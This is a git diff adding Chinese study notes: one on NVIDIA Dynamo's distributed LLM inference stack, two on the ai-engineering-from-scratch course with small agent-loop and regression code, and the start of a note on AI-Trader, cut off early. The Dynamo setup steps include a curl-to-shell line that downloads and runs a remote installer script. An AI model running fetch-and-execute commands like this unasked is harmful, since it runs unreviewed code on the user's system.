+- **与 Triton 的关系**：Dynamo 被 NVIDIA 定位为面向 GenAI 的分布式推理栈，承接并扩展了 Triton Inference Server 在模型服务化上的积累（见 [NVIDIA Developer — Dynamo](https://developer.nvidia.com/dynamo)）
+
+## 核心概念
+
+Dynamo 把「调度、路由、内存、传输、扩缩、容错」拆成可独立安装的模块（Rust crate + Python wheel），常见组件如下。
+
+### 1. 推理引擎后端（Backend）
+
+Dynamo **引擎无关**，当前主要支持：
+
+| 后端 | 典型场景 |
+|------|----------|
+| **vLLM** | 开源生态最广，PagedAttention |
+| **SGLang** | RadixAttention、结构化生成 |
+| **TensorRT-LLM** | NVIDIA 栈内极致单请求延迟 |
+
+你选 backend，Dynamo 负责在上层做集群级决策。
+
+### 2. Disaggregated Prefill / Decode（P/D 分离）
+
+一次 chat 分两段：
+
+1. **Prefill**：读入整段 prompt，并行算 attention，生成 KV cache——像「把剧本通读一遍」
+2. **Decode**：每次只生成 1 个 token，反复读 KV cache——像「照着笔记逐句接龙」
+
+Dynamo 可把 prefill worker 池与 decode worker 池**独立扩缩**，让两类硬件特性不同的负载各就其位。
+
+### 3. KV-Aware Router（KV 感知路由）
+
+Router 不只看「哪台机器 CPU 空闲」，还看**请求前缀与哪台 worker 已有 KV 重叠**。命中则避免重复 prefill，降低 **TTFT（Time To First Token）**。
+
+### 4. KV Block Manager（KVBM）
+
+KV cache 不必全钉在 GPU 显存。KVBM 可在多级存储间搬运块：
+
+```
+G1 GPU 显存 → G2 CPU 内存 → G3 本地 SSD → G4 远程（S3 / Azure Blob 等，经 NIXL）
+```
+
+效果：在显存预算内支撑更长上下文或更高并发，代价是 offload 时的带宽与延迟权衡。
+
+### 5. NIXL（数据传输）
+
+**NIXL** 是 Dynamo 生态里的低延迟点对点传输库，负责 GPU 之间、以及 GPU 与各级存储之间的 KV / 权重块搬运，是 P/D 分离与 KV offload 的「数据平面高速公路」。
+
+### 6. Planner（SLA 驱动扩缩）
+
+Planner 根据 **TTFT**、**ITL/TPOT（每 token 间隔）** 等 SLA 目标，结合负载画像，自动调整 prefill / decode 池规模，在延迟与 TCO 之间找平衡点。
+
+### 7. Grove（Kubernetes 拓扑调度）
+
+[Grove](https://github.com/ai-dynamo/grove) 是 K8s operator，做**拓扑感知**的 gang scheduling——例如 NVL72 机架内，把需要 NVLink 紧耦合的 worker 放到正确的 rack / NUMA 域。
+
+### 8. 部署模式：Standalone vs Gateway (GAIE)
+
+| 模式 | 请求路径 | 适用 |
+|------|----------|------|
+| **Standalone** | `client → Frontend → Router → workers` | 本地开发、单集群、Dynamo 端到端托管入口 |
+| **Gateway (GAIE)** | `client → K8s Inference Gateway → EPP → Frontend sidecar → workers` | 已有 Gateway API、需要网关级鉴权/限流/可观测 |
+
+两种模式对外都暴露 **OpenAI 兼容 HTTP API**。
+
+### 9. 服务发现（本地 vs K8s）
+
+- **本地开发**：`--discovery-backend file`，通常**不需要** etcd / NATS
+- **Kubernetes**：用 CRD + EndpointSlice 做原生发现，同样可不依赖外部消息中间件
+
+## 架构一图流
+
+```text
+                    ┌─────────────────┐
+                    │  OpenAI API     │
+                    │  /v1/chat/...   │
+                    └────────┬────────┘
+                             │
+                    ┌────────▼────────┐
+                    │    Frontend     │
+                    └────────┬────────┘
+                             │
+              ┌──────────────┼──────────────┐
+              │              │              │
+     ┌────────▼────────┐ ┌───▼───┐ ┌────────▼────────┐
+     │  KV-Aware       │ │Planner│ │  KVBM + NIXL    │
+     │  Router         │ │       │ │  (多级 KV)      │
+     └────────┬────────┘ └───────┘ └────────┬────────┘
+              │                                │
+     ┌────────┴────────┐              ┌───────┴───────┐
+     │ Prefill Workers │              │ Decode Workers │
+     │ (vLLM/SGLang/   │              │ (同左后端)     │
+     │  TRT-LLM)       │              │                │
+     └─────────────────┘              └────────────────┘
+```
+
+## 实践案例
+
+### 案例 1：容器内最快体验（SGLang 后端）
+
+官方 Quick Start 的典型流程：拉预构建镜像，起 Frontend + Worker，用 curl 打 OpenAI 兼容接口。
+
+```bash
+# 拉取 SGLang 运行时镜像（版本以 NGC 当前 tag 为准）
+docker run --gpus all --network host --rm -it \
+  nvcr.io/nvidia/ai-dynamo/sglang-runtime:1.2.0
+
+# 容器内：后台起 Frontend
+python3 -m dynamo.frontend --http-port 8000 --discovery-backend file \
+  > /dev/null 2>&1 &
+
+# 起 SGLang worker（小模型便于本地试）
+python3 -m dynamo.sglang \
+  --model-path Qwen/Qwen3-0.6B \
+  --discovery-backend file &
+
+# 发请求
+curl -s localhost:8000/v1/chat/completions \
+  -H "Content-Type: application/json" \
+  -d '{
+    "model": "Qwen/Qwen3-0.6B",
+    "messages": [{"role": "user", "content": "用三句话解释 KV cache"}],
+    "max_tokens": 128
+  }' | jq
+```
+
+要点：`--discovery-backend file` 让本地单机无需 etcd；Frontend 与 worker 通过 Dynamo 的发现机制互相注册。
+
+### 案例 2：PyPI 安装 + vLLM 后端
+
+```bash
+# 推荐用 uv 管理环境
+curl -LsSf https://astral.sh/uv/install.sh | sh
+
+uv venv .venv && source .venv/bin/activate
+uv pip install --prerelease=allow "ai-dynamo[vllm]"
+
+# 起 Frontend
+python3 -m dynamo.frontend --http-port 8000 --discovery-backend file &
+
+# vLLM worker 示例（模型与并行度按你的 GPU 调整）
+python3 -m dynamo.vllm \
+  --model-path meta-llama/Llama-3.1-8B-Instruct \
+  --discovery-backend file \
+  --kv-events-config '{"enable_kv_cache_events": false}' &
+```
+
+vLLM 后端本地试跑时，官方建议关闭或简化 KV events，避免为路由状态引入额外基础设施；上 K8s 生产再按需打开 KV 事件与 KV-aware 路由的完整链路。
+
+### 案例 3：Kubernetes 零配置部署（DGDR，beta）
+
+生产向路径：声明模型、后端与 SLA，由 **AIConfigurator** 画像、**Planner** 定拓扑、**Grove** 等组件落地。
+
+```yaml
+apiVersion: nvidia.com/v1beta1
+kind: DynamoGraphDeploymentRequest
+metadata:
+  name: qwen3-0.6b-serving
+spec:
+  model: Qwen/Qwen3-0.6B
+  backend: vllm
+  sla:
+    ttft: 200.0   # 首 token 延迟目标（毫秒）
+    itl: 20.0     # 逐 token 间隔目标（毫秒）
+  autoApply: true
+```
+
+仓库 `recipes/` 目录提供 Llama-3-70B、DeepSeek-R1、Qwen3-32B-FP8 等现成配方，可直接对照改模型名与 disaggregated / aggregated 模式。
+
+### 案例 4：用 Python OpenAI SDK 调用（与 vLLM 单机用法相同）
+
+Dynamo Frontend 兼容 OpenAI API，业务代码通常**不用改**：
+
+```python
+from openai import OpenAI
+
+client = OpenAI(
+    base_url="http://localhost:8000/v1",
+    api_key="not-needed",  # 本地部署常可占位
+)
+
+stream = client.chat.completions.create(
+    model="Qwen/Qwen3-0.6B",
+    messages=[
+        {"role": "system", "content": "你是推理系统助教。"},
+        {"role": "user", "content": "Dynamo 和 vLLM 的分工是什么？"},
+    ],
+    max_tokens=256,
+    stream=True,
+)
+
+for chunk in stream:
+    delta = chunk.choices[0].delta.content
+    if delta:
+        print(delta, end="", flush=True)
+```
+
+Dynamo 的价值体现在**集群侧**（路由、P/D 池、KV 多级缓存），客户端仍按标准 OpenAI 协议说话。
+
+## 与 vLLM 的分工（一张表记住）
+
+| 维度 | vLLM（单机引擎） | Dynamo（编排层） |
+|------|------------------|------------------|
+| 优化目标 | 单 GPU / 单节点吞吐与显存利用率 | 多节点 SLA、池化扩缩、全局 KV 复用 |
+| 是否跑模型 | 是，直接执行 forward | 否，调度后端 worker |
+| P/D 分离 | 需自行拼基础设施 | 一等公民 |
+| KV 跨节点 | 非核心能力 | Router + KVBM + NIXL |
+| 典型入口 | `python -m vllm.entrypoints...` | `python -m dynamo.frontend` + backend worker |
+
+二者关系是**叠加**而非替代：生产里常见组合是 **Dynamo + vLLM backend**。
+
+## 踩过的坑
+
+- **名字撞车**：搜 "Dynamo" 会冒出 Amazon、PyTorch `torch.compile`/dynamo、数据库等结果；LLM 推理请认准 `ai-dynamo` 与 `docs.nvidia.com/dynamo`
+- **单卡没必要上全套**：单 GPU 本地试模型，直接 vLLM 更简单；Dynamo 的组件（Router、Planner、Grove）在集群才有收益
+- **本地发现后端**：忘记 `--discovery-backend file` 时，可能去连并不存在的 etcd/NATS
+- **vLLM KV events**：本地开发按 README 关闭 `enable_kv_cache_events`，否则路由状态与事件总线配置会对不上
+- **TensorRT-LLM 安装**：需额外 `--extra-index-url https://pypi.nvidia.com`，与纯 PyPI 的 vLLM/SGLang 路径不同
+- **特性矩阵因后端而异**：例如 KVBM 在部分后端仍标为 🚧，部署前查 [Feature Matrix](https://docs.nvidia.com/dynamo/resources/feature-matrix)
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 多 GPU / 多节点 LLM 服务，需要统一 OpenAI API 入口
+- 长上下文、高并发，需要 KV offload 与跨 worker 复用
+- 明确 TTFT / TPOT SLA，需要 Planner 自动调池
+- 已在 Kubernetes 上跑 AI 负载，希望用 Grove / DGDR 声明式部署
+- 多模态、Agent、视频生成等扩展负载（1.0+ 持续加特性）
+
+**不适用**：
+
+- 笔记本单卡跑个小模型玩玩 → [[ollama]] 或裸 vLLM
+- 只做模型训练 / 微调 → Dynamo 是**推理 serving** 栈
+- 不想碰 K8s 且只有一台机器 → 编排层收益有限
+- 闭源 API（GPT-4 等）→ 直接调云厂商接口
+
+## 性能数字怎么读
+
+官方 README 与 NVIDIA 博客常引用的量级（具体模型与硬件见原文）：
+
+| 指标 | 量级 | 语境 |
+|------|------|------|
+| 吞吐 | 最高约 **7×** / **750×**（不同基准） | 相对未编排基线，GB200/GB300 等大集群 |
+| 冷启动 | 约 **7×** 更快 | ModelExpress 经 NIXL 流式传权重 |
+| TTFT | 约 **2×** | KV-aware routing |
+| SLA 违约 | 约 **80%** 减少 | Planner 扩缩（某云厂商案例） |
+
+读 benchmark 时务必核对：**模型、卡型、是否 disaggregated、是否 KV 路由、流量模式**——AIPerf 是仓库推荐的对比工具（见 `docs/benchmarks/benchmarking.md`）。
+
+## 学到什么
+
+- **推理优化分两层**：引擎层（怎么算得快）与编排层（算力放哪、缓存放哪、请求给谁）
+- **Prefill 与 Decode 是两种负载**：拆开池化是数据中心 LLM serving 的主流方向之一
+- **KV cache 是跨请求的资产**：路由算法和存储层级与 attention 算法本身同样重要
+- **模块化开源**：`ai-dynamo`、`kvbm`、`nixl` 可拆开装，便于渐进式采用
+- **OpenAI API 再次成为集成标准**：上层业务无感，底层可从单机 vLLM 迁到 Dynamo 集群
+
+## 延伸阅读
+
+- 官方文档：[docs.nvidia.com/dynamo](https://docs.nvidia.com/dynamo/)
+- 架构总览：[Overall Architecture](https://docs.nvidia.com/dynamo/design-docs/overall-architecture)
+- 仓库：[github.com/ai-dynamo/dynamo](https://github.com/ai-dynamo/dynamo)
+- 博客：[Introducing NVIDIA Dynamo (2026-03)](https://developer.nvidia.com/blog/introducing-nvidia-dynamo-a-low-latency-distributed-inference-framework-for-scaling-reasoning-ai-models/)
+- [[vllm]] —— 常用 backend，单机推理引擎
+- [[kubernetes]] —— 生产部署载体；Grove / DGDR 依赖 K8s
+- [[sglang]] —— 另一主流 backend（RadixAttention）
+- 论文向：[[paged-attention-vllm]]、[[sglang-radixattention]]、[[nexus-prefill-decode-intra-gpu]]（理解 P/D 与 KV 路由背景）
+
+## 关联
+
+- 上游生态：NVIDIA GPU、TensorRT-LLM、Triton 传统模型服务经验
+- 横向对比：llm-d、AIBrix 等 K8s 原生 LLM 编排方案（仓库 benchmark 文档有对比场景）
+- 下游用户：云推理平台、企业私有化大模型网关、Agent 平台（LangChain / NeMo Agent Toolkit 集成）
diff --git a/src/content/docs/projects/ai-engineering-from-scratch.md b/src/content/docs/projects/ai-engineering-from-scratch.md
new file mode 100644
index 000000000..7afec0ed4
--- /dev/null
+++ b/src/content/docs/projects/ai-engineering-from-scratch.md
@@ -0,0 +1,168 @@
+---
+title: AI Engineering from Scratch 学习笔记
+来源: https://github.com/rohitg00/ai-engineering-from-scratch
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# AI Engineering from Scratch 学习笔记
+
+## 一、这个课程是什么
+
+想象一下，你想学做菜。大多数教程会直接给你一锅调味料包，告诉你"倒进去、煮五分钟、开吃"。你确实吃到了菜，但你永远不知道味道是怎么来的，换一种食材就懵了。
+
+`rohitg00/ai-engineering-from-scratch` 这个项目的理念正好相反：它告诉你从种麦子开始，到磨面粉、揉面、发酵、烘烤，每一步都亲手做一遍。当你亲手从零实现过一个神经网络之后，再去看 PyTorch 的代码，你就不再是看魔术，而是在看一个你已经亲手组装过的机器。
+
+这个项目由 Agent Memory 的作者 rohitg00 创建，目前已经获得 31.8k Star、5.2k Fork。整个课程包含 503 节课、20 个阶段，预计学习时长约 314 小时。使用 Python、TypeScript、Rust、Julia 四种语言。每节课都产出可以直接使用的 artifact：一个 prompt、一个 skill、一个 agent 或者一个 MCP server。
+
+## 二、课程的整体结构
+
+20 个阶段像盖房子一样一层层叠上去：
+
+1. **Phase 0 — 环境搭建**（12 节课）：开发环境、Git、GPU、Docker、调试工具
+2. **Phase 1 — 数学基础**（22 节课）：线性代数、微积分、概率论、优化理论
+3. **Phase 2 — 机器学习基础**（18 节课）：线性回归、逻辑回归、决策树、SVM、聚类
+4. **Phase 3 — 深度学习核心**（13 节课）：感知机、反向传播、激活函数、优化器、正则化
+5. **Phase 4 — 计算机视觉**（28 节课）：CNN、目标检测、分割、GAN、扩散模型、ViT
+6. **Phase 5 — NLP**（29 节课）：词嵌入、注意力、机器翻译、RAG
+7. **Phase 6 — 语音与音频**（17 节课）：ASR、TTS、语音克隆、音乐生成
+8. **Phase 7 — Transformer 深入**（16 节课）：自注意力、BERT、GPT、MoE、Flash Attention
+9. **Phase 8 — 生成式 AI**（15 节课）：VAE、GAN、扩散模型、视频生成、3D 生成
+10. **Phase 9 — 强化学习**（12 节课）：MDP、Q-Learning、DQN、PPO、RLHF
+11. **Phase 10 — 从零构建 LLM**（27 节课）：分词器、预训练、指令微调、RLHF、量化
+12. **Phase 11 — LLM 工程**（17 节课）：Prompt 工程、RAG、微调、Function Calling
+13. **Phase 12 — 多模态 AI**（25 节课）：CLIP、LLaVA、视频语言模型、具身智能
+14. **Phase 13 — 工具与协议**（23 节课）：MCP、A2A、OpenTelemetry
+15. **Phase 14 — Agent 工程**（42 节课）：Agent 循环、记忆、规划、框架对比
+16. **Phase 15 — 自主系统**（22 节课）：自改进、自我编码、浏览器 Agent
+17. **Phase 16 — 多 Agent 与群体**（25 节课）：群体智能、辩论、协商、一致性
+18. **Phase 17 — 基础设施与生产**（28 节课）：推理部署、GPU 扩展、可观测性
+19. **Phase 18 — 伦理与对齐**（30 节课）：RLHF、Constitutional AI、红队测试
+20. **Phase 19 — 毕业设计**（87 个项目）：完整的端到端项目
+
+## 三、每节课的设计模式
+
+这是这个课程最精妙的地方。每节课都遵循一个固定的六步流程：
+
+```
+MOTTO → PROBLEM → CONCEPT → BUILD IT → USE IT → SHIP IT
+```
+
+- **Motto**：一句话概括核心思想
+- **Problem**：展示不知道这个概念会带来什么具体痛苦
+- **Concept**：用图表和直觉解释，还没有代码
+- **Build It**：从零开始手写实现，不使用任何框架
+- **Use It**：用同样的东西，但通过 PyTorch / sklearn 等生产库来跑一遍
+- **Ship It**：产出可以直接使用的 artifact
+
+"Build It" 和 "Use It" 的拆分是这个课程的主线。你先亲手写一遍算法，然后再用生产库跑一遍。你会真正理解框架在做什么，因为那些代码是你自己写过的简化版本。
+
+每节课的文件夹结构都是统一的：
+
+```
+phases/<NN>-<phase-name>/<NN>-<lesson-name>/
+├── code/            # 可运行的实现（Python、TypeScript、Rust、Julia）
+├── docs/
+│   └── en.md        # 课程叙述
+└── outputs/         # 这节课产出的 prompt、skill、agent 或 MCP server
+```
+
+## 四、核心概念：从手写到框架
+
+课程的核心哲学是"先理解，再使用"。以**注意力机制**（Attention）为例。
+
+大多数教程会直接告诉你 Transformer 的代码。但这门课的做法是：你先理解为什么要发明注意力机制（RNN 无法并行、长距离依赖丢失），然后从零手写一个自注意力层，计算 Q、K、V 的矩阵乘法，最后才看 PyTorch 的 `nn.MultiheadAttention` 是怎么优化你的手写版本的。
+
+以 **Agent 循环**（Phase 14, Lesson 1）为例。这是一个 ~120 行的纯 Python 实现，零依赖：
+
+```python
+def run(query, tools):
+    history = [user(query)]
+    for step in range(MAX_STEPS):
+        msg = llm(history)
+        if msg.tool_calls:
+            for call in msg.tool_calls:
+                result = tools[call.name](**call.args)
+                history.append(tool_result(call.id, result))
+            continue
+        return msg.content
+    raise StepLimitExceeded
+```
+
+这段代码的核心逻辑很简单：把用户输入放进历史，让 LLM 决定做什么，如果有工具调用就执行工具并把结果追加到历史，如果没有就返回答案。超过最大步数就报错。这 120 行代码就是 Phase 14 所有 Agent 框架的基础。
+
+## 五、核心概念：Build It / Use It 双轨学习
+
+再来看一个更具体的代码示例——**线性回归从零实现**（Phase 2, Lesson 2）。
+
+第一步，Build It：完全从零手写，只使用基本数学运算。
+
+```python
+import numpy as np
+
+def fit(X, y, lr=0.01, epochs=1000):
+    """从零实现线性回归：y = wX + b"""
+    n_samples, n_features = X.shape
+    w = np.zeros(n_features)
+    b = 0
+
+    for _ in range(epochs):
+        # 前向传播：预测
+        predictions = np.dot(X, w) + b
+
+        # 计算梯度（MSE 损失的导数）
+        dw = (2 / n_samples) * np.dot(X.T, (predictions - y))
+        db = (2 / n_samples) * np.sum(predictions - y)
+
+        # 更新参数
+        w -= lr * dw
+        b -= lr * db
+
+    return w, b
+
+# 使用示例
+X = np.array([[1], [2], [3], [4], [5]], dtype=float)
+y = np.array([2, 4, 6, 8, 10], dtype=float)
+w, b = fit(X, y)
+print(f"y = {w[0]:.2f}x + {b:.2f}")  # y = 2.00x + 0.00
+```
+
+第二步，Use It：用同样的数据，用 scikit-learn 跑一遍做对比。
+
+```python
+from sklearn.linear_model import LinearRegression
+
+model = LinearRegression()
+model.fit(X, y)
+print(f"y = {model.coef_[0]:.2f}x + {model.intercept_:.2f}")  # y = 2.00x + 0.00
+```
+
+两个结果完全一样。但更重要的是，你现在知道 `LinearRegression` 内部在做的事情和你手写的完全一致——它就是在做梯度下降更新 w 和 b。区别只在于它做了更多工程优化：学习率调度、收敛检测、批量梯度下降版本等。
+
+## 六、课程亮点
+
+**每个 artifact 都是可安装的。** 不是课后作业，而是你安装到 AI 助手里真正会用的工具。用 `python3 scripts/install_skills.py` 一次安装全部 503 个产出。
+
+**内置 Agent 技能。** 课程自带 Claude、Cursor、Codex 等工具的 Skills，提供 `/find-your-level` 十题水平测试和 `/check-understanding <阶段>` 阶段测验。
+
+**四门语言的实现。** 每个算法都用 Python、TypeScript、Rust、Julia 实现，对比不同语言的写法差异。
+
+**所有课程已完成。** 截至 2026 年 6 月，503 节课全部标记为 ✅。
+
+## 七、学习建议
+
+如果你是完全零基础，建议按顺序从 Phase 0 开始。如果你已经有编程基础但不懂 AI，可以从 Phase 1 数学基础开始。如果你已经熟悉传统 ML，可以直接跳到 Phase 3 深度学习核心或更高阶段。
+
+最关键的提醒：不要跳过基础阶段然后到后面卡住。数学是地板，Agent 和生产是屋顶。跳过楼层然后问"为什么天花板掉下来了"是没有用的。
+
+## 八、关键词对照
+
+| 术语 | 常见误解 | 实际含义 |
+|------|---------|---------|
+| Build It | 写练习题 | 从零实现一个完整的算法，不用任何框架 |
+| Ship It | 作业结束 | 产出一个可安装、可复用的 artifact |
+| Artifact | 实验结果 | 你可以粘贴到日常工作中的 prompt / skill / agent |
+| Find Your Level | 随便测测 | 十题测评，映射到你的起点阶段和预计学习时长 |
+| Phase 19 | 额外加分 | 87 个端到端项目，每个 90 分钟到 35 小时不等 |
diff --git a/src/content/docs/projects/ai-engineering-scratch.md b/src/content/docs/projects/ai-engineering-scratch.md
new file mode 100644
index 000000000..17f2934f7
--- /dev/null
+++ b/src/content/docs/projects/ai-engineering-scratch.md
@@ -0,0 +1,228 @@
+---
+title: "从零构建 AI 系统 —— rohitg00/ai-engineering-from-scratch 学习笔记"
+来源: https://github.com/rohitg00/ai-engineering-from-scratch
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+## 一、这个项目是什么
+
+想象你要学做一道复杂的菜。大多数教程给你两个选择：要么只看别人直播（看视频、读博客），要么直接扔给你一套工业级厨房设备（PyTorch、TensorFlow），让你自己猜火候。
+
+**ai-engineering-from-scratch** 选了第三条路：先让你用锅碗瓢盆把每道基础菜做一遍——从切菜（线性代数）到调味（反向传播）到摆盘（Agent 工程），然后才带你走进厨房。
+
+这个项目的作者是 Rohit Gupta，他同时也是热门项目 Agent Memory 的创作者。整套课程：
+
+- 503 节课，20 个阶段
+- 约 320 小时学习量
+- 覆盖 Python、TypeScript、Rust、Julia 四种语言
+- 每节课都产出一个可复用的工件（prompt、skill、agent 或 MCP server）
+- 完全免费，MIT 协议
+
+核心教学理念是 **Build It / Use It**：你先用纯数学手写一遍算法，再用 PyTorch/sklearn 跑一遍同样的东西。这样你用框架的时候，心里清楚它到底在干什么。
+
+## 二、20 个阶段概览
+
+课程像一个金字塔，从数学地基一直盖到 AI 应用的屋顶：
+
+| 阶段范围 | 主题 | 核心理念 |
+|---|---|---|
+| P0-P1 | 环境 + 数学基础 | 不懂线性代数和微积分，后面全是黑盒 |
+| P2-P3 | 经典 ML + 深度学习 | 先手写感知机和反向传播，再碰 PyTorch |
+| P4-P6 | 视觉 / NLP / 语音 | 每种模态都从像素、词元、波形开始 |
+| P7 | Transformer 深潜 | 自注意力机制是一切现代 AI 的起点 |
+| P8 | 生成式 AI | GAN、VAE、扩散模型，全部从零实现 |
+| P9 | 强化学习 | RLHF 和 AlphaGo 的根基 |
+| P10-P11 | LLM 从零 + 工程化 | 从 tokenizer 到预训练、微调、RAG |
+| P12-P13 | 多模态 + 工具协议 | 视觉-语言融合、MCP、A2A 协议 |
+| P14-P16 | Agent 工程 + 自主系统 + 多智能体 | 从 Agent Loop 到 Swarm |
+| P17-P18 | 生产基础设施 + 安全对齐 | 部署、量化、可观测性、伦理 |
+| P19 | 毕业项目 | 17 个端到端产品 + 9 个深度构建轨道 |
+
+**学习路线建议**：不要按顺序硬啃。先用课程自带的 `/find-your-level` 做十道题定位起点，然后跳读。但记住：跳过底层，上面出了问题你就不知道哪里断了。
+
+## 三、核心概念拆解
+
+### 概念 1：MOTTO — PROBLEM — CONCEPT — BUILD IT — USE IT — SHIP IT
+
+每节课遵循同样的六步循环：
+
+1. **MOTTO**：一句话概括核心思想
+2. **PROBLEM**：一个具体的痛点场景
+3. **CONCEPT**：图表和直觉讲解
+4. **BUILD IT**：不用框架，从零手写算法
+5. **USE IT**：用 PyTorch/sklearn 重跑一遍
+6. **SHIP IT**：产出可复用的 prompt / skill / agent / MCP server
+
+这保证了你学完每一节课，不只是"看懂了"，而是手里多了一个真的能用的东西。
+
+### 概念 2：Build It / Use It 双轨制
+
+这是整个课程最独特的设计。以 Transformer 的自注意力机制为例，你不会直接调 `torch.nn.MultiheadAttention`。你先自己用 NumPy 手写 Q、K、V 的矩阵乘法，体会维度变化，然后再看 PyTorch 的封装。
+
+好处是什么？当你后来遇到 attention mask 形状不对的 bug 时，你能一眼看出是哪段矩阵操作出了问题——因为你就是当初写那段矩阵操作的人。
+
+### 概念 3：每节课产出一个"工件"
+
+别的课程学完只有知识，这个课程学完有个作品集。每节课的 `outputs/` 目录下都有一个实际工具：
+
+- **Prompt**：可以直接粘贴到 AI 助手里的专家级提示词
+- **Skill**：可以丢进 Claude/Cursor/Codex 的 SKILL.md
+- **Agent**：部署为自主工作的 Agent Loop
+- **MCP Server**：接入任何 MCP 兼容客户端
+
+课程提供一键安装脚本 `python3 scripts/install_skills.py`，全部 503 个工件可以直接装到你的日常工具链里。
+
+## 四、代码示例
+
+### 示例 1：手写 Agent Loop（Phase 14, Lesson 1）
+
+这是整个课程中最精华的示例之一。约 120 行纯 Python，零依赖，展示了现代 AI Agent 的核心循环：
+
+```python
+# phases/14-agent-engineering/01-the-agent-loop/code/agent_loop.py
+
+def run(query: str, tools: dict[str, callable], max_steps: int = 10) -> str:
+    """Minimal ReAct-style agent loop.
+
+    The agent receives a query and a dictionary of available tools.
+    It loops: ask the LLM what to do -> execute tool calls if any ->
+    return the final answer.
+    """
+    history = [{"role": "user", "content": query}]
+
+    for step in range(max_steps):
+        # 1. Ask the LLM
+        response = llm_call(history)
+
+        # 2. Does it want to use a tool?
+        if response.tool_calls:
+            for call in response.tool_calls:
+                tool_fn = tools[call.name]
+                result = tool_fn(**call.args)
+                history.append({
+                    "role": "tool",
+                    "tool_call_id": call.id,
+                    "content": str(result),
+                })
+            continue
+
+        # 3. No more tool calls — return the answer
+        return response.content
+
+    raise Exception("Agent exceeded max steps")
+```
+
+类比理解：Agent Loop 就像一个餐厅里的小二。你（用户）把订单（query）递给小二，小二看菜板上有没有现成的菜（可用工具）。如果有，就去厨房做（调 tool），把做好的菜端回来，再判断还需要什么。如果不需要再做菜了，就把最终成品端给你。
+
+课程在 `outputs/` 里还产出了配套的 skill 文件和 prompt 调试器，可以直接装到你的 AI 编辑器里用。
+
+### 示例 2：从零手写 Softmax 分类器（Phase 2-P3 路线）
+
+这个例子展示了 Build It / Use It 双轨制的威力：
+
+```python
+# === BUILD IT: 从零手写 Softmax 分类器 ===
+
+import numpy as np
+
+def softmax(scores):
+    """Numerically stable softmax."""
+    # 减去最大值防止 exp 溢出（这就是"从零手写"时才会踩的坑）
+    shifted = scores - np.max(scores, axis=-1, keepdims=True)
+    exp_scores = np.exp(shifted)
+    return exp_scores / np.sum(exp_scores, axis=-1, keepdims=True)
+
+def cross_entropy_loss(probs, target_idx):
+    """Negative log-likelihood for a single sample."""
+    return -np.log(probs[target_idx] + 1e-9)
+
+def train(X, y, W, b, lr=0.1, epochs=100):
+    """One-layer neural net: X @ W + b -> softmax -> cross-entropy."""
+    for epoch in range(epochs):
+        # Forward
+        scores = X @ W + b
+        probs = softmax(scores)
+        loss = np.mean([cross_entropy_loss(p, yi)
+                        for p, yi in zip(probs, y)])
+
+        # Backward (manual gradient — 这就是为什么课程要求先手写)
+        N = X.shape[0]
+        d_probs = probs / N
+        d_probs[np.arange(N), y] -= 1 / N
+        dW = X.T @ d_probs
+        db = np.sum(d_probs, axis=0)
+
+        # Update
+        W -= lr * dW
+        b -= lr * db
+
+        if epoch % 20 == 0:
+            print(f"Epoch {epoch}: loss = {loss:.4f}")
+
+# 用随机数据演示
+X = np.random.randn(100, 20)
+y = np.random.randint(0, 3, size=100)
+W = np.random.randn(20, 3)
+b = np.zeros(3)
+train(X, y, W, b)
+```
+
+```python
+# === USE IT: 同样的事情，用 PyTorch 跑一遍 ===
+
+import torch
+import torch.nn as nn
+
+model = nn.Sequential(
+    nn.Linear(20, 3),
+    nn.LogSoftmax(dim=1)
+)
+criterion = nn.NLLLoss()
+optimizer = torch.optim.SGD(model.parameters(), lr=0.1)
+
+X_t = torch.randn(100, 20)
+y_t = torch.randint(0, 3, (100,))
+
+for epoch in range(100):
+    optimizer.zero_grad()
+    output = model(X_t)
+    loss = criterion(output, y_t)
+    loss.backward()
+    optimizer.step()
+    if epoch % 20 == 0:
+        print(f"Epoch {epoch}: loss = {loss.item():.4f}")
+```
+
+类比理解：Build It 就像你亲手组装一辆自行车的每个零件，知道螺丝拧紧到什么程度。Use It 就像你直接买一辆成品车骑上去。等你后来遇到"车链子掉了"（梯度消失、loss 爆炸）的时候，亲手组装过的人知道怎么修，没组装过的只能找人帮。
+
+## 五、适合什么样的人
+
+**适合**：
+- 想真正理解 AI 原理、不只是调 API 的开发者
+- 有基本编程能力（任何语言都行，Python 有帮助）
+- 喜欢"知其所以然"的学习方式
+- 需要为 AI 工程面试做准备
+
+**可能不适合**：
+- 只想快速用 API 搭个 demo 的人（这课程不教你走捷径）
+- 没有数学基础且愿意补的人（线代、微积分、概率论都会涉及）
+
+## 六、我的学习建议
+
+1. 先用 `/find-your-level` 定位起点，跳过你已经会的阶段
+2. 每节课的 `outputs/` 目录一定要看——那是你实际能带走的东西
+3. Build It 环节不要跳。跳过手写、直接看 PyTorch，等于白学一半
+4. 学到 Phase 14（Agent 工程）时，把输出的 skill 装进你的 AI 编辑器，边学边用
+5. 每个阶段结束前，跑一遍 `/check-understanding <phase>` 自测
+6. 学完 Phase 11 后，试着用 RAG 给自己做一个项目知识库——这就是 Phase 19 毕业项目的缩小版
+
+## 七、总结
+
+这个课程最打动人的地方是它的诚实：它不假装 AI 很简单。它从线性代数的矩阵乘法开始，一步步带你走到多智能体蜂群。每个阶段都在前面的基础上堆叠，不会突然冒出一个你没见过的概念。
+
+503 节课、320 小时，不是一蹴而就的事。但每节课都给你一个真实可用的工件，这意味着你学完哪怕只完成三分之一，也积累了一套真正能用的 AI 工具集。
+
+比知识更重要的，是**你亲手写过每一行核心代码**——这种底气，是看视频和抄教程给不了的。
diff --git a/src/content/docs/projects/ai-trader-hkuds.md b/src/content/docs/projects/ai-trader-hkuds.md
new file mode 100644
index 000000000..f41e17485
--- /dev/null
+++ b/src/content/docs/projects/ai-trader-hkuds.md
@@ -0,0 +1,265 @@
+---
+title: AI-Trader 学习笔记 —— 让 AI Agent 自己炒股
+来源: https://github.com/HKUDS/AI-Trader
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+provenance: pipeline-v3
+---
+
+# AI-Trader：让 AI Agent 自己炒股的交易平台
+
+## 一、开场类比：一个"交易员论坛"
+
+想象一个交易员论坛，里面的"论坛成员"全是 AI，而不是真人。
+它们：
+
+- 各自看盘、各自做分析
+- 在论坛里发"买入 BTC"之类的帖子（交易信号）
+- 有人跟帖表示赞同，有人反驳
+- 有人关注了"高手"，自动复制对方的操作
+
